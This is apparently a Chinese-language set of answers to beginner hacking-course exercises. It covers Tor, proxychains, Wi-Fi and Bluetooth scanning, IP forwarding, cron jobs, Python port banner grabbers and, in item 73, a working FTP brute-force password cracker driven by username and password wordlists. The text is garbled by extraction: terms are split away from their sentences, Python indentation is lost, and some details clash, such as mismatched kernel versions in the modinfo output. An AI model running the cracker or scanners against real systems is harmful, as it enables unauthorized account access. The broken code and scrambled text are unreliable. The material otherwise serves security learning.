52、使用index.html文件,创建一个简单的网站,宣布你进入了令人兴奋的黑客世界。
可在文本编辑器中新建文件,输入以下代码:
<html>
<body>
<h1>我已踏入黑客世界!</h1>
<p>开启探索黑客技术的旅程!</p>
</body>
</html>
然后将该文件保存为
并覆盖现有文件,之后在浏览器中访问
/var/www/html/index.html
即可查看效果。
http://localhost
53、下载并安装Tor浏览器。现在,像使用其他任何浏览器一样匿名浏览网页,看看你是否注意到速度上有什么不同。
安装 Tor 浏览器可从 https://www.torproject.org 获取。使用该浏览器浏览网页时,因通过独立路由器网络,带宽有限,通常比普通浏览器慢。
54、尝试使用proxychains和Firefox浏览器访问你喜欢的网站。
可按以下步骤操作:
1. 先从 [https://geonode.com/free-proxy-list](https://geonode.com/free-proxy-list) 获取免费代理。
2. 将代理信息按 `Type IPaddress Port` 格式添加到 `proxychains4.conf` 文件,示例如下:
```ini
[ProxyList]
# add proxy here...
socks4 114.134.186.12 22020
```
3. 若不添加自己的代理,proxychains 默认使用 Tor;若不使用 Tor,需注释掉默认 Tor 配置行。
4. 完成配置后,在命令行输入以下命令来通过代理匿名打开网站:
```bash
kali> proxychains firefox www.hackers-arise.com
```
> 这里以访问 `www.hackers-arise.com` 为例,可替换为喜欢的网站。
5. 还可添加更多代理、设置动态链来增强匿名性和稳定性:
- 添加更多代理时,从上述网站获取更多代理 IP 地址添加到配置文件。
- 设置动态链时,在配置文件中找到 `dynamic_chain` 行取消注释,并确保 `strict_chain` 行被注释。
55、探索一些供应商提供的商业 VPN 服务。选择一个并试用免费版。
可选择的商业 VPN 服务供应商有:
ExpressVPN SurfShark NordVPN ProtonVPN PIA
任选其一,访问其官网,利用其提供的 30 天免费试用进行测试。
56、注册一个免费的 ProtonMail 账户,并向 occupytheweb@protonmail.com 发送一条安全问候信息。
你可以访问 ProtonMail 官网 ,按照其注册流程注册免费账户。注册成功登录后,点击 撰写邮件 ,在收件人处填写
,然后输入安全问候内容,最后点击 发送 即可。
occupytheweb@protonmail.com
57、使用ifconfig命令检查你的网络设备。记录任何无线扩展信息。
使用 `ifconfig` 命令检查网络设备后,发现只有 `wlan0` 网络接口有无线扩展。该设备支持 802.11 IEEE 无线标准中的 **b** 和 **g** 标准,无线扩展模式设置为 **Managed**,无线适配器未连接到接入点,信号强度为 **20 dBm**。
58、使用 iwlist 命令查看范围内有哪些 Wi-Fi 接入点。
在终端输入命令
,该命令的输出应包含无线接口范围内的所有 Wi-Fi 接入点,以及每个接入点的关键数据,如接入点的 MAC 地址、其运行的信道和频率、信号质量、信号强度、加密密钥是否启用以及其 ESSID 等。
iwlist wlan0 scan
示例输出如下:
wlan0 Scan completed:
Cell 01 - Address: 88:AD:43:75:B3:82
Channel:1
Frequency:2.412GHz (Channel 1)
Quality=70/70
Signal level =-38 dBm
Encryption key:off
ESSID:"Hackers-Arise"
59、使用nmcli连接到你的Wi-Fi接入点。
使用
连接到 Wi-Fi 接入点的命令语法为:
nmcli
nmcli dev wifi connect <AP-SSID> password <APpassword>
例如,要连接到 SSID 为
且密码为
Hackers - Arise
的 AP,可使用命令:
12345678
nmcli dev wifi connect Hackers - Arise password 12345678
60、使用 hciconfig 启动你的蓝牙适配器,并使用 hcitool 扫描附近可发现的蓝牙设备。
首先,使用以下命令启动蓝牙适配器:
sudo hciconfig hci0 up
如果命令成功运行,将不会有输出,只会出现一个新的提示符。
接着,使用以下命令扫描附近处于发现模式的蓝牙设备:
sudo hcitool scan
61、检查你的内核版本。
常见方法
有两种常见方法。
方法一:使用
uname –a
命令
uname –a
例如执行后可能显示:
Linux kali 6.6.9 - amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9 - 1kali1 (2024 - 01 - 08) x86_64 GNU/Linux
从中可获取内核相关信息。
方法二:使用
cat /proc/version
命令
cat /proc/version
此命令也能返回内核的相关信息。
62、使用sysctl命令启用IP转发。
输入以下命令:
kali> sudo sysctl -w net.ipv4.ip_forward=1
需注意,
更改在运行时生效,但系统重启后会丢失。若要永久更改,需编辑配置文件
sysctl
。
/etc/sysctl.conf
63、编辑 /etc/sysctl.conf 文件以禁用 IP 转发。
禁用 IP 转发:在 `/etc/sysctl.conf` 文件中,将 `net.ipv4.ip_forward=1` 这一行重新注释,即在行首添加 `#` 符号;或者在命令行输入 `sudo sysctl -w net.ipv4.ip_forward=0` 临时禁用。若要使配置文件修改生效,需运行 `sudo sysctl -p` 命令。
64、选择一个内核模块,并使用modinfo命令来了解更多关于它的信息。
以蓝牙内核模块为例,使用命令
可以获取该模块的详细信息。执行该命令后,显示的信息如下:
modinfo bluetooth
filename: /lib/modules/4.19.0-kali-amd64/kernel/net/bluetooth/bluetooth.ko
alias: net-pf-31
license: GPL
version: 2.22
description: Bluetooth Core ver 2.22
author: Marcel Holtman <marcel@holtmann.org>
srcversion: 411D7802CC1783894E0D188
depends: rfkill, ecdh_generic, crc16
intree: Y
vermagic: 6.6.9-amd64 SMP preempt mod_unload modversions
parm: disable_esco: Disable eSCO connection creation (bool)
parm: disable_ertm: Disable enhanced retransmission mode (bool)
65、安排你的 MySQLscanner.sh 脚本在每周三下午 3 点运行。
在
文件中添加:
crontab
0 15 * * 3 /path/to/MySQLscanner.sh
注:
需替换为
/path/to/脚本实际所在的路径。
MySQLscanner.sh
66、安排你的 MySQLscanner.sh 脚本在每周二至周四上午 10:00 运行。
在
文件中添加如下行:
crontab
00 10 * * 2-4 user /usr/share/MySQLscanner.sh
说明:
表示分钟
00
表示小时(上午 10 点)
10
表示每天、每月
*
表示周二至周四
2-4
代表以普通用户身份运行
user
是脚本的绝对路径
/usr/share/MySQLscanner.sh
保存
文件即可完成任务调度。
crontab
67、使用快捷方式安排你的 MySQLscanner.sh 脚本每天中午运行。
要将
脚本安排为每天中午运行,可在 crontab 中添加如下行:
MySQLscanner.sh
00 12 * * * user /usr/share/MySQLscanner.sh
表示分钟
00
表示小时(中午 12 点)
12
分别表示每月的每一天、每年的每一月、每周的每一天
* * *
是运行脚本的用户
user
是脚本的路径
/usr/share/MySQLscanner.sh
添加后保存 crontab 文件即可完成任务安排。
68、更新你的 rc.d 脚本,使系统每次启动时都运行 PostgreSQL。
首先,使用
命令检查系统上的 PostgreSQL 是否已经在运行。若未运行,使用
ps aux | grep postgresql
命令更新 rc.d 脚本,让 PostgreSQL 在启动时自动运行。最后,重启系统使更改生效。
sudo update-rc.d postgresql defaults
69、下载并安装rcconf,将PostgreSQL和MySQL/MariaDB数据库设置为开机启动。
以下是操作步骤:
下载并安装
:在终端输入
rcconf
sudo apt install rcconf
启动
:安装完成后,在终端输入
rcconf
rcconf
会打开一个简单的图形界面。
添加 PostgreSQL 开机启动:在图形界面中,滚动浏览可用服务,选择 PostgreSQL,然后点击 OK。
添加 MySQL/MariaDB 开机启动:在图形界面中,滚动浏览可用服务,选择 MySQL 或 MariaDB(取决于系统安装的是哪个),然后点击 OK。
另外,也可以使用以下命令实现相同功能:
使用
命令添加 PostgreSQL 开机启动:
update-rc.d
sudo update-rc.d postgresql defaults
使用
命令设置 MySQL 开机启动:
systemctl
sudo systemctl enable mysql
70、构建一个SSH横幅抓取工具,然后将其修改为在端口21上进行横幅抓取。
构建SSH横幅抓取工具,其代码如下:
#! /usr/bin/python3
import socket
Ports = [21, 22, 25, 3306]
for Port in Ports:
s = socket.socket()
print('This Is the Banner for the Port')
print(Port)
s.connect(('192.168.1.101', Port))
answer = s.recv(1024)
print(answer)
s.close()
若要只在端口21上进行横幅抓取,可将代码修改为:
#! /usr/bin/python3
import socket
Port = 21
s = socket.socket()
print('This Is the Banner for the Port')
print(Port)
s.connect(('192.168.1.101', Port))
answer = s.recv(1024)
print(answer)
s.close()
需将
替换为实际目标IP地址。
'192.168.1.101'
71、不要将 IP 地址硬编码到脚本中,修改你的横幅抓取工具,使其提示用户输入 IP 地址。
可在原横幅抓取脚本基础上,使用 Python 的
函数提示用户输入 IP 地址。修改后的脚本如下:
input()
#! /usr/bin/python3
import socket
# 提示用户输入 IP 地址
ip = input("请输入要连接的 IP 地址: ")
# 创建套接字对象
s = socket.socket()
# 连接到用户输入的 IP 地址和默认 SSH 端口 22
s.connect((ip, 22))
# 接收 1024 字节的数据
answer = s.recv(1024)
# 打印接收到的数据
print(answer)
# 关闭连接
s.close()
保存修改后的脚本并赋予执行权限,运行时就会提示用户输入 IP 地址。
72、编辑一个 Python 脚本(命名为 tcp_server.py),实现提示用户输入要监听的端口。
可以按以下步骤编辑
脚本以提示用户输入要监听的端口:
tcp_server.py
导入
函数(在 Python 3 中
input
函数用于获取用户输入)。 移除原脚本中硬编码的端口号。 使用
input
函数提示用户输入端口号,并将其转换为整数类型。
input
以下是修改后的脚本:
#! /usr/bin/python3
import socket
TCP_IP = '192.168.181.190'
# 提示用户输入端口号
port_input = input('请输入要监听的端口号: ')
TCP_PORT = int(port_input)
BUFFER_SIZE = 100
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)
conn, addr = s.accept()
print('Connection address: ', addr)
while True:
data = conn.recv(BUFFER_SIZE)
if not data:
break
print('Received data: ', data)
conn.send(data) # echo
conn.close()
保存修改后的脚本,运行时会提示用户输入要监听的端口号。
73、构建一个 FTP 密码破解器,对其进行编辑,使用一个单词列表来处理用户变量(类似于处理密码的方式),而不是提示用户输入。
要完成此任务,可在原代码基础上,不提示用户输入用户名,而是从一个包含用户名列表的文件中读取。以下是修改后的代码示例:
#!/usr/bin/python3
import ftplib
server = input('FTP Server: ')
userlist = input('Path to User List > ')
passwordlist = input('Path to Password List > ')
try:
with open(userlist, 'r') as ul:
for user in ul:
user = user.strip('
')
try:
with open(passwordlist, 'r') as pw:
for word in pw:
word = word.strip('
')
try:
ftp = ftplib.FTP(server)
ftp.login(user, word)
print('Success! The password for user ' + user + ' is ' + word)
except ftplib.error_perm as exc:
print('still trying...', exc)
except Exception as exc:
print('Wordlist error: ', exc)
except Exception as exc:
print('Userlist error: ', exc)
在这个代码中,我们提示用户输入 FTP 服务器地址、用户名列表文件路径和密码列表文件路径。程序会从用户名列表文件中读取每个用户名,再从密码列表文件中读取每个密码,尝试对每个用户名进行密码破解。
74、为横幅抓取工具添加一个 except 子句,如果端口关闭则打印“no answer”。
要为横幅抓取工具添加一个
子句,当端口关闭时打印“no answer”,可以在原代码的基础上使用
except
结构。以下是修改后的代码示例:
try/except
#! /usr/bin/python3
import socket
Ports = [21, 22, 25, 3306]
for Port in Ports:
try:
s = socket.socket()
print('This Is the Banner for the Port')
print(Port)
s.connect(('192.168.1.101', Port))
answer = s.recv(1024)
print(answer)
s.close()
except socket.error:
print('no answer')
在这个修改后的代码中,使用了
块来尝试执行连接和接收横幅信息的操作。如果在这个过程中出现了
try
(通常是因为端口关闭),则会执行
socket.error
子句,打印“no answer”。
except
75、在主要的人工智能平台上注册一个免费账户。
你可以选择如OpenAI、百度文心一言等主要AI平台,访问其官网,按照指引完成免费账户注册。